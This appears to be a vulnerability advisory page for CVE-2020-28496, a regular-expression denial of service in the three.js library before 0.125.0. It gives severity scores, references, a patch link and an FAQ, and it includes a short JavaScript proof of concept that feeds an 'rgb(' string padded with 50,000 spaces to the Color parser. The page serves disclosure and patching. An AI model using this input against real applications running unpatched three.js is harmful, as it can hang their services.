CVE-2020-28496

Public Exploit
Regular Expression Denial of Service (ReDoS)

Description

This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+" ms")

Category

7.5
CVSS
Severity: High
CVSS 3.1 •
CVSS 2.0 •
EPSS 1.42% Top 25%
Third-Party Advisory github.com Third-Party Advisory github.com Third-Party Advisory snyk.io Third-Party Advisory snyk.io
Affected: n/a three
Published at:
Updated at:

References

Link Tags
https://snyk.io/vuln/SNYK-JS-THREE-1064931 third party advisory exploit
https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1065972 third party advisory exploit
https://github.com/mrdoob/three.js/issues/21132 issue tracking exploit third party advisory
https://github.com/mrdoob/three.js/pull/21143/commits/4a582355216b620176a291ff319d740e619d583e third party advisory patch

Frequently Asked Questions

What is the severity of CVE-2020-28496?
CVE-2020-28496 has been scored as a high severity vulnerability.
How to fix CVE-2020-28496?
To fix CVE-2020-28496, make sure you are using an up-to-date version of the affected component(s) by checking the vendor release notes. As for now, there are no other specific guidelines available.
Is CVE-2020-28496 being actively exploited in the wild?
It is possible that CVE-2020-28496 is being exploited or will be exploited in a near future based on public information. According to its EPSS score, there is a ~1% probability that this vulnerability will be exploited by malicious actors in the next 30 days.
What software or system is affected by CVE-2020-28496?
CVE-2020-28496 affects n/a three.
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